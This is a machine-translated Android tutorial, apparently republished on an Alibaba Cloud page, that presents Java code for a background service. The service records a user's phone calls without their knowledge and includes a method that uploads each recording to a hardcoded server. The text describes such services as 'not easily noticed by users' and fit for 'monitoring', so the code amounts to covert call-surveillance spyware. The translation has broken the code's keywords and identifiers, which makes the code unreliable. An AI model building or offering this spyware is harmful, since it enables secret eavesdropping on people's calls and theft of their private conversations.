Android uses a service to listen to users' calls and upload information to the server.

Source: Internet
Author: User

First, let's talk about the priority of the process:

Foreground process
The highest priority level, even if the system memory is insufficient, the foreground process will not be killed

Visible process
The priority is slightly lower.

Service process
The survival time is relatively long.
The sub-threads in it will not be recycled.

Background process

Empty process
No component process


Why do we need to use the service because the service component will run in the background for a long time?
Generally, it will not be recycled by the operating system.

Services in Android and windows are similar. services generally do not have user operation interfaces. They run in a system and are not easily noticed by users. You can use them to develop programs such as monitoring. Service development is relatively simple, as follows:


Step 1: Inherit the Service class

Public class SMSService extends Service {}


Step 2: configure the service in the node in the AndroidManifest. xml file:

The service cannot run on its own. You must call the Context. startService () or Context. bindService () method to start the service. Both methods can start the Service, but their usage is different. The startService () method is used to enable the service. There is no relation between the visitor and the service. Even if the visitor exits, the Service continues to run. The bindService () method is used to enable the Service. When a visitor is bound to the service, the service is terminated once the visitor exits. This feature features that the visitor does not want to live at the same time and must die at the same time.


Start the service using the Context. startService () method. You can only call the Context. stopService () method to end the service. The onDestroy () method is called when the service ends.

Use the service to listen to users' calls and upload information to the server code example:

PhoneListenService. java:

Package cn. itcast. phonelistener; import java. io. file; import org. apache. commons. httpclient. methods. postMethod; import org. apache. commons. httpclient. methods. multipart. filePart; import org. apache. commons. httpclient. methods. multipart. multipartRequestEntity; import org. apache. commons. httpclient. methods. multipart. part; import android. app. service; import android. content. intent; import android. media. mediaRecorder; Import android. OS. IBinder; import android. telephony. phoneStateListener; import android. telephony. telephonyManager; public class PhoneListenService extends Service {// activity aggreger contentprovider @ Overridepublic IBinder onBind (Intent intent) {return null ;} /*** run the command */@ Overridepublic void onCreate () {super. onCreate (); // setForeground (true) is not easy for foreground processes to be recycled by the system; // 1. determine the status of the current mobile phone, // 2. if the mobile phone is found Call status // 3. create a recorder to record the user's call Information. // 4. when the mobile phone is found to be in the idle status again, stop the recorder and upload the audio file to the server // get the TelephonyManager (TelephonyManager) service related to the phone status. this. getSystemService (TELEPHONY_SERVICE); // this. getSystemService (WIFI_SERVICE); manager. listen (new MyPhoneListener (), PhoneStateListener. LISTEN_CALL_STATE); System. out. println ("Thread id" + Thread. currentThread (). getName ();} private class MyPhoneListener extends PhoneState Listener {MediaRecorder recorder = null;/*** method called when the call status of the phone changes */@ Overridepublic void onCallStateChanged (int state, String incomingNumber) {try {switch (state) {case TelephonyManager. CALL_STATE_IDLE: // The current phone is idle. out. println ("the current phone is idle"); // determines whether recorder is empty if (recorder! = Null) {recorder. stop (); recorder. release (); // Now the object cannot be reusedrecorder = null; new Thread () {@ Overridepublic void run () {// File file = new File ("/sdcard/temp.3gp"); try {// upload (file );} catch (Exception e) {e. printStackTrace ();}}}. start ();} break; case TelephonyManager. CALL_STATE_RINGING: // The current phone is in the zero-ring state. out. println ("phone number" + incomingNumber); break; case TelephonyManager. CALL_STATE_OFFHOOK: // System. out. println ("the current phone is in the call state"); // initialize a recorder, recorder = new MediaRecorder (); recorder. setAudioSource (MediaRecorder. audioSource. MIC); recorder. setOutputFormat (MediaRecorder. outputFormat. THREE_GPP); recorder. setAudioEncoder (MediaRecorder. audioEncoder. AMR_NB); recorder. setOutputFile ("/sdcard/temp.3gp"); recorder. prepare (); recorder. start (); // Recording is now startedbreak;} catch (Exception e) {e. printStackTrace ();} super. onCallStateChanged (state, incomingNumber) ;}// upload data to the server public void upload (File file) throws Exception {// instantiate the uploaded data array part [] Part [] parts = {new FilePart ("file", file)}; PostMethod filePost = new PostMethod ("http: // 172.16.40.157: 8080/web2/LoginServlet "); filePost. setRequestEntity (new MultipartRequestEntity (parts, filePost. getParams (); org. apache. commons. httpclient. httpClient client = new org. apache. commons. httpclient. httpClient (); client. getHttpConnectionManager (). getParams (). setConnectionTimeout (5000); int status = client.exe cuteMethod (filePost); System. out. println (status); if (status = 200) {System. out. println ("uploaded successfully");} else {throw new IllegalStateException ("server status exception ");}}}
DemoActivity. java:

package cn.itcast.phonelistener;import android.app.Activity;import android.content.Intent;import android.os.Bundle;public class DemoActivity extends Activity {/** Called when the activity is first created. */@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.main);Intent intent = new Intent(this, PhoneListenService.class);startService(intent);}}
Configuration file:

 
     
      
      
      
      
      
                          
                                  
               
                  
          
      
 

Intent intent = new Intent (this, PhoneListenService. class );
StartService (intent );

Similar to the above Code, the provider, activity, and consumer er components can start the intent in the same way.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.